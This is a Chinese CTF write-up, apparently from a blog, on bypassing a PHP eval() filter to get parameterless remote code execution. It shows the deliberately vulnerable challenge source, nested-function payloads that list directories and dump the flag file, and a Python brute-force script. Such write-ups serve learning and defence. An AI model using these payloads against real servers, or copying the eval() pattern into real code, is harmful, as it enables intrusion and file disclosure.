题目源码
<?php
highlight_file(__FILE__);
if ($_REQUEST['cmd']) {
$cmd = $_REQUEST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
if(preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
为了方便,我把题目中POST传参改成了GET传参
分析题目
首先,第一个分析正则过滤,
必须要符合这个正则匹配,而且,匹配之后就删除,这个结果必须剩下的是 ;
这个正则表达式会匹配函数里面的参数,如果有参数就不会匹配,如果没有参数才会被匹配
那么这个题目的意思就是可以套娃的无参RCE
Writeup
基本思路
- 在常规思路中
首先我们要构造scandir(‘.’)来访问当前目录,得到一个数组的形式的当前目录下的所有目录名
然后取数组的值进行输出或者输出源码
首先呢,题目没有过滤scandir()这个函数。
但是是无参RCE,
-
第一个难点:我们需要构造一个’.’
-
第二个难点:我们需要定位到scandir的返回值里面的我们需要的文件夹的位置,并且提取出来
思路一
-
利用chr(strrev(uniqid()))获取’.’
首先uniqid会返回一个随机的字符串,比如:627beab23120c其中627bea是固定的,后面的部分是随机的
然后通过strrev进行翻转获得这样的字符串:093e34faeb726,不管后边的,前面两位是随机的,那么是不是有概率产生’.'的ASCII值呢
最后通过chr转义数字(chr函数会自动忽略数字后面的字母)
-
利用implode函数将数组转化为字符串
-
利用echo输出结果
由于是随机数,所以我们需要爆破
代码:
import requests
from urllib import parse
url = "http://127.0.0.1/"
headers = {"content-type":"application/x-www-form-urlencoded"}
data = {
"cmd":"echo(implode(scandir(chr(strrev(uniqid())))));"
}
for i in range(0,1000):
r = requests.post(url,data=data,headers=headers).text
print (i)
if 'Warn' not in r:
print(r)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
发现了flag所在的文件
但是有个问题就是,不知道flag在第几个文件里面,这些文件名都连成了一坨
于是用
"cmd":"echo(end(scandir(chr(strrev(uniqid())))));"
- 1
来爆破最后一个文件夹的名字
题目比较友好,把flag放到了最后一个文件中
最后用
"cmd":"show_source(end(scandir(chr(strrev(uniqid())))));"
- 1
读取文件即可
方法二
参考scr1pt-k1ddi3师傅的wp:https://scr1pt-k1ddi3.github.io/2022/05/08/ichunqiu-Mercy-code/
payload
cmd=show_source(end(scandir(next(each(str_split(hebrevc(crypt(sin()))))))));
- 1
分析:
-
crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串。
-
hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流。同时,把新行(\n)转换为
- hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符/
- sin()返回一个数字,作为hebrevc()的参数
-
str_split() 函数把字符串分割到数组中。
-
参数 描述 string 必需。规定要分割的字符串。 length(可选) 可选。规定每个数组元素的长度。默认是 1。
-
-
由于reset()和current()被过滤了所以要找到一种方法输出第一个数
- each()函数返回当前元素的键名和键值,并将内部指针向前移动。返回值:Array( [1] => 键值 [value] => 键值 [0] => 键名 [key] => 键名)
- next()函数将内部指针指向数组中的下一个元素,并输出
参考文章
https://xz.aliyun.com/t/6737
https://scr1pt-k1ddi3.github.io/2022/05/08/ichunqiu-Mercy-code/
https://blog.csdn.net/weixin_28759987/article/details/116284686
- 1
- 2
- 3
- 4
参考文章
https://xz.aliyun.com/t/6737
https://scr1pt-k1ddi3.github.io/2022/05/08/ichunqiu-Mercy-code/
https://blog.csdn.net/weixin_28759987/article/details/116284686
- 1
- 2
- 3
- 4
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论